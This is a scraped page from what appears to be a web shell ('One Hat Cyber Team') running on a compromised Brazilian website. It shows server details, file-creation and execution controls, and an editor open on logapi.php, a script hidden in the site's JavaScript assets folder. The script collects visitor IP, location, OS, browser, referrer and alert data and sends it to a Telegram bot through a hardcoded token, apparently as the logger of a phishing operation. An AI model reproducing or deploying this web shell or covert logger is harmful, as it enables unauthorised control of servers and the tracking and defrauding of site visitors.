One Hat Cyber Team
Your IP :
216.73.216.193
Server IP :
170.247.48.121
Server :
Linux UBAPDWEB9271 3.10.0-1160.71.1.el7.x86_64 #1 SMP Tue Jun 28 15:37:28 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.0.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
lelopagani.com.br
/
public
/
assets
/
js
/
Edit File:
logapi.php
<?php // logapi.php header('Content-Type: application/json'); // Only allow POST if ($_SERVER['REQUEST_METHOD'] !== 'POST') { http_response_code(403); echo json_encode(['status' => 'error', 'message' => 'Forbidden']); exit; } // Read JSON body $raw = file_get_contents('php://input'); $data = json_decode($raw, true); if (!is_array($data)) { http_response_code(400); echo json_encode(['status' => 'error', 'message' => 'Invalid JSON body']); exit; } // Build a message from incoming payload (adjust fields as you like) $event = $data['type'] ?? 'event'; $ip = $data['ip'] ?? 'unknown'; $country = $data['country'] ?? ''; $cc = $data['country_code'] ?? ''; $flag = $data['flag'] ?? ''; $referrer = $data['referrer'] ?? ''; $os = $data['os'] ?? ''; $browser = $data['browser'] ?? ''; $alert = $data['alert'] ?? null; $lines = [ "π Event: $event", "π IP: $ip", "πΊοΈ Country: $country ($cc) $flag", "π» OS/Browser: $os / $browser", "π Referrer: $referrer", ]; if (!empty($alert)) { $lines[] = "β οΈ Alert: $alert"; } $message = implode("\n", array_filter($lines)); // <-- now $message is defined // Telegram config $token = '8070169679:AAFJWInJKQLKqXGaGLSwgQU2KlVZ9ZX1bFE'; $chat_id = '-4869967638'; // for supergroups itβs usually -100xxxxxxxxxx // Send via POST (recommended) $endpoint = "https://api.telegram.org/bot{$token}/sendMessage"; $postFields = [ 'chat_id' => $chat_id, 'text' => $message, 'disable_web_page_preview' => true ]; // Use cURL $ch = curl_init($endpoint); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); // Handle response if ($httpCode !== 200) { // Useful for debugging β remove in production if you want echo json_encode([ 'status' => 'error', 'message' => 'Telegram API failed', 'http_code' => $httpCode, 'error' => $error, 'telegram_response' => $response ]); exit; } echo json_encode(['status' => 'ok', 'message' => 'Sent', 'telegram_response' => json_decode($response, true)]);
Simpan